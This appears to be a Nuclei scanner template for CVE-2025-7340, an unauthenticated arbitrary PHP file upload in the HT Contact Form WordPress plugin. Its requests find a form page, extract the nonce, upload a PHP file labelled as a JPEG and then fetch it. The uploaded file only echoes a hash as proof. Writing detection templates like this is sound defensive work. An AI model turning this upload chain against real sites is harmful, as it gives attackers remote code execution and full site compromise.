Copy
id: CVE-2025-7340
info:
name: HT Contact Form Widget for Elementor <= 2.2.1 - Unauthenticated Arbitrary File Upload
author: DhiyaneshDk
severity: critical
description: |
The HT Contact Form Widget For Elementor Page Builder & Gutenberg Blocks & Form Builder plugin for WordPress is vulnerable to arbitrary file upload in all versions up to and including 2.2.1 due to missing file type validation in the temp_file_upload() function. The handler is registered on the wp_ajax_nopriv_ht_form_temp_file_upload action, so an unauthenticated attacker holding a form nonce (exposed on any page rendering the [ht_form] widget) can upload a PHP file to wp-content/uploads/ht_form/temp/ and execute it, achieving remote code execution.
impact: |
An unauthenticated attacker can upload and execute arbitrary PHP on the server, leading to full remote code execution and site compromise.
remediation: |
Update HT Contact Form Widget to 2.2.2 or later, which validates the uploaded file extension with wp_check_filetype() and rejects disallowed types.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-7340
- https://github.com/advisories/GHSA-85f4-4cwm-5xmr
- https://wpscan.com/vulnerability/91f39d58-1379-4908-bdeb-9c9bce39fb2c/
- https://plugins.trac.wordpress.org/changeset?old_path=/ht-contactform/tags/2.2.1&new_path=/ht-contactform/tags/2.2.2
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-7340
epss-score: 0.01751
epss-percentile: 0.7806
cwe-id: CWE-434
metadata:
verified: true
max-request: 4
vendor: hasthemes
product: ht-contactform
framework: wordpress
publicwww-query: "/wp-content/plugins/ht-contactform/"
tags: cve,cve2025,wordpress,wp-plugin,ht-contactform,fileupload,rce,unauth,intrusive,vkev
variables:
canary: "{{to_lower(rand_text_alpha(16))}}"
fname: "{{to_lower(rand_text_alpha(8))}}"
boundary: "{{rand_base(24)}}"
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET /wp-json/wp/v2/pages?search=ht_form&_fields=link HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- '"link"'
internal: true
extractors:
- type: regex
name: slug
part: body
internal: true
group: 1
regex:
- '"link":"[^"]*?\\/([a-zA-Z0-9_-]+)\\/?"'
- raw:
- |
GET /{{slug}}/ HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- 'ht_form'
- '"nonce"'
condition: and
internal: true
extractors:
- type: regex
name: nonce
part: body
internal: true
group: 1
regex:
- 'ht_form\s*=\s*\{[^}]*?"nonce":"([a-f0-9]+)"'
- raw:
- |
POST /wp-admin/admin-ajax.php?action=ht_form_temp_file_upload HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary={{boundary}}
--{{boundary}}
Content-Disposition: form-data; name="_wpnonce"
{{nonce}}
--{{boundary}}
Content-Disposition: form-data; name="ht_form_file"; filename="{{fname}}.php"
Content-Type: image/jpeg
<?php echo md5("{{canary}}"); ?>
--{{boundary}}--
matchers:
- type: word
part: body
words:
- '"success":true'
- '"file_id"'
condition: and
internal: true
extractors:
- type: regex
name: fileid
part: body
internal: true
group: 1
regex:
- '"file_id":"([^"]+\.php)"'
- raw:
- |
GET /wp-content/uploads/ht_form/temp/{{fileid}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(body, md5(canary))'
- type: status
status:
- 200
# digest: 4a0a004730450220047166ff0b67fb736c01eb7ac41a5d3387a760d1e03da129691ebaa3f7ef77c8022100a4762a5ca05532cc82dc4ea66ed78fed1cf58c839aa256931f2c6897c293d5ae:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.